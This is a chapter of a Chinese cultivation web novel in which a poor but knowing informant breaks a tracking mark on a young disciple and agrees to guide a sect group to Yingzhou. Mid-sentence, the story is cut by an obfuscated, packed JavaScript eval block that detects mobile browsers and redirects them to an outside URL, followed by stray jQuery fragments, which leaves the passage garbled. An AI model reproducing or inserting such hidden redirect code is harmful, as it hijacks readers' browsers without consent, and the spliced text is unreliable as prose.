49. 哦,通风报信

作品:《师姐怎么还不采补我

    “你是何人?”


    众人面面相觑,看向这个不知道从哪冒出来的女人。


    她一身破道袍,模样浅淡,却天生一双笑眼。


    ……现在这双笑眼里快要喷火了。


    “我是谁不重要,重要的是,这两个贼偷了我五百灵石!”


    “胡说,我们就偷了你三百九十八!”二贼目瞪口呆,“这厮真是穷疯了,竟然反过来讹贼!”


    女人哼哼两声,从地上摸走了三百九十八,掂量着道:“诸位都听清楚了,这可是他们自己说的。”


    “……”


    二贼破防直“呸”,卷了零星几块灵石,气急败坏地逃了。


    “多谢三位出手相助,帮在下夺回了盘缠,”女人收好了灵石,没等三人开口又道,“大恩不言谢,在下便送少门主一言。”


    三人闻言,皆暗自心惊。


    “我们不知道你在说什么。”杜蘅当场冷了脸。


    “我并无恶意。”她抬手打住,半眯着眼接着说道,“离瀛洲越近,人越多眼越杂,若遇上同道中人倒还好说,可若遇上……”


    她意味深长地扭头看向身后,二贼已经逃没了影,“那就难说了。”


    “什么意思?”陈在野眉头一沉。


    “这二贼偷你们的芥子袋可不是为了财,”她笑道,“而是偷个信物,才能把你们卖个好价钱。”


    “纷争之地,眼尖者比比皆是,非我一人能猜到你们的身份。只不过,君子心照不宣,小人从中渔利,多舌者引火烧身,聪明人隔岸观火罢了。”


    “……那你是哪种人?”


    “我?”她讶异了一瞬,“我当然是小人了。”


    陈在野听罢不语,只从袖中掏了二百灵石给她。


    “哎呦!多谢恩人,多谢恩人!”


    云起时眼神流转,凑到她耳边低声说道:“门中出了细作,止戈新盟不知何时得了消息,已经朝这里追过来了……我们正是为了此事而来。”


    “知道了。”她缓缓吐出一口浊气,快步朝客栈去。


    没出两步,她又脚下一顿。


    “怎么了?”杜蘅连忙问。


    她狐疑地看看左,又看看右。


    ……来就来,可来两个人是什么意思?


    *


    回到客栈,张有容迎上来,见到杜蘅和云起时就很高兴。


    “杜……”


    刚开口说了一个字,就被陈在野踩了一脚,他急忙改口,“师……”


    又被杜蘅一把捏住了后颈。


    “你们怎么来了,”张有容委委屈屈地揉着脖子,又探头看向他们身后之人,“她是谁,你们认识?”


    “不认识。”云起时淡淡道。


    “他们回来了吗?”陈在野问的是陈泯然他们,他们在一个时辰前出去探路了。


    “没有……”张有容还想多说,就被三人捂了嘴。


    “先回去。”她指指楼上。


    明有止戈新盟穷追不舍,暗有小人虎视眈眈,眼下这番情形,他们务必慎之又慎,十二分小心才是。


    步至拐角,总算避开旁人视线,方才提醒他们的女人又追了上来,神秘兮兮道:“你们再给我二百灵石,我再告诉你一个秘密。”


    “去去去,哪来的江湖骗子。”张有容摆摆手。


    “绝对、绝对物超所值。”她抓着陈在野的胳膊,笑眯眯的,像只狐狸。


    人还是被带了上来。


    待掩了窗、关了门,陈在野又抛给她二百。


    “说吧。”


    “少门主果然是个爽快人,”女人也不兜圈子,食指一指张有容,“问题就出在你们这位小师弟身上。”


    “我?我怎么了!?”


    “你把左手拿出来。”


    张有容一头雾水,但还是将左手拍在了桌上。


    几人翻过来翻过去地看了好几遍,才发现他左手虎口上多了道红痕,形似一牙弯月。


    “你这是怎么了?”


    “可能刚刚在哪碰着了吧……”


    “这是追踪阵的印记,”女人却摇了摇头,“看来,又有人想卖你们的行踪咯。”


    “追、追踪阵???”张有容大惊失色。


    杜蘅腾地站起身,沉声问道:“谁碰过你?”


    “客栈里人来人往的,我怎么能注意得到。”他欲哭无泪。


    几人都沉默了,短短半日时间,又是遭人偷,又是被下阵,谁知还有没有其他什么人意图向止戈新盟通风报信。


    不过,也幸好是此时发现了,否则怕是进了瀛洲地界,止戈新盟也能顺着追来。


    “你既然能一眼认出,想来是懂些门道的,那么可有破解此阵的方法?”


    陈在野这么问本不抱什么希望,传闻阵术入门极难,非天资聪颖者无法领悟,怎么可能这么随便就能让他们遇见一个?哪有这么巧的事。


    然而,对面的女人却竖起了两根手指。


    不等陈在野反应,杜蘅就掏出二百灵石放在桌上,剑尾一扫推到了她面前。


    她又推了回来,两根竖起的手指前后晃了晃:“两千。”


    陈在野眯了眯眼,拉住还想接着掏钱的杜蘅:“聊了这么久,还不知阁下名讳。”


    女人扬了扬下巴,笑意半分不减:“无名无姓,只有个上不了台面的道名‘千事晓’。”


    “千事晓?”


    此话一出,陈在野脸上的表情差点儿没绷住。


    千事晓可是个响当当的人物,号称“无事不知、无事不晓”的奇人。


    张有容目瞪口呆:“千事晓竟然这么穷吗!”


    “……钱财乃身外之物。”


    “你先把那两根手指收回去再说。”陈在野忍不住道。


    “连两个毛贼都敌不过的千事晓?”杜蘅冷哼一声,“我看这人是满口胡言信不得。”


    “我到底是文人,比不得你们这些日日耍枪弄棒的武人,”她登时脸一绿,“况且,你们不也被偷了?”


    “千事晓不是已经被止戈新盟抓去了吗。”云起时却冷不丁道。


    她腿一翘:“那不过是我使的障眼法。”


    千事晓是止戈新盟通缉榜上赫赫有名的人物,假扮“千事晓”于她也没有什么好处。


    陈在野姑且信了她这番说辞,于是在芥子袋中随意掏了个法器出来:“你若识货,便该知道此物远不止你要的数。”


    千事晓勉强收下了。


    “手伸过来。”


    她指尖聚起灵力,轻轻点在张有容手背的印记上,渐渐地,印记消失不见,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16700844|183010||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    追踪阵也随之寸寸碎裂。


    “这便好啦?”张有容抓着左手正看反看。


    千事晓笑眯眯点了点头。


    “你还知道什么?”陈在野忽然问道。


    “只要价钱到位,我可以什么都知道,也可以什么都不知道。”


    “去瀛洲的路你可熟悉?”


    “不过是一两年去一回罢了。”


    这真是假谦虚,几人一听都有些心动。


    “你们想让我带路?”千事晓道。


    “开个价。”杜蘅在桌上点了点。


    她眼睛滴溜溜转了一圈,说:“我不要钱,但我要你们答应我一件事。”


    “什么事?”


    “等画契后,我自会告诉你们。”


    “如你所见,我们也自身难保,实在爱莫能助,”陈在野挑眉道,“钱可以,事不行。”


    交情尚浅,就急着想让他们应下一桩不明事,可见不是什么容易办到的事。


    ”不是让你带路,而是与我们同行,这是互惠互利的好事,”云起时在旁唱红脸,“我们出钱出力护你周全,而你只需指个路就行。”


    千事晓思忖了片刻:“那我要五千灵石,只要灵石。”


    “明日一早启程,”陈在野生怕她反悔似的应下,伸出右手手掌,“击掌为誓。”


    千事晓爽快抬掌相击:“成交。”


    *


    待千事晓离开,厢房中没有了外人,陈在野便问:“门中还好吗?”


    杜蘅和云起时都没有立刻回答。


    正当她将将要起疑时,云起时终于开口说道:“我们潜出之前,一切尚好。”


    “真的?”她还是有些怀疑,于是看向杜蘅,她知道杜蘅最不会撒谎了。


    岳峙门内情形当然不算好。


    张不扬这些天快要将岳峙门翻了个底朝天,弟子、长老也伤残了好些,大有找不出《玄鉴心经》和邪修就誓不罢休的意思。


    云起时之所以这么说是他们提前商量好的。


    早在半路上,他们就想过这个问题。


    “自然要实话实说,”杜蘅当时这样说道,“你瞒得过一时,瞒不过一世,她总归会知道的。”


    云起时一句话就把他说服了:“她这时知道,必会赶回门中。”


    她不会眼睁睁看着母亲、长老、同门因自己而受苦。


    “真的。”杜蘅顺理成章地吐出了这两个字,他自己都没有想到,他竟然还能扯出一个安慰的笑。


    陈在野心里踏实了:“那就行。”


    可还没等他松口气,就听她说道:“事情我了解了。我们的事与你们无关,你们趁早走吧。”


    “走?来都来了,还走什么?”他顿时气不打一处来。


    “止戈新盟已经知道我们来通风报信,如今回去更生事端,我们也只能留下了。”云起时这话就很有说服力。


    “这倒是……”没有想出什么更好的解决办法,也就暂时随了他们去,“也罢。”


    “太好了,明天我们一起启程!”张有容听了就很开心。


    “不,”她突然说道,“你和我爹他们今晚就走,我和千事晓明日再去。”


    “你想独自引开止戈新盟?”


    杜蘅的心一瞬间坠到了谷底。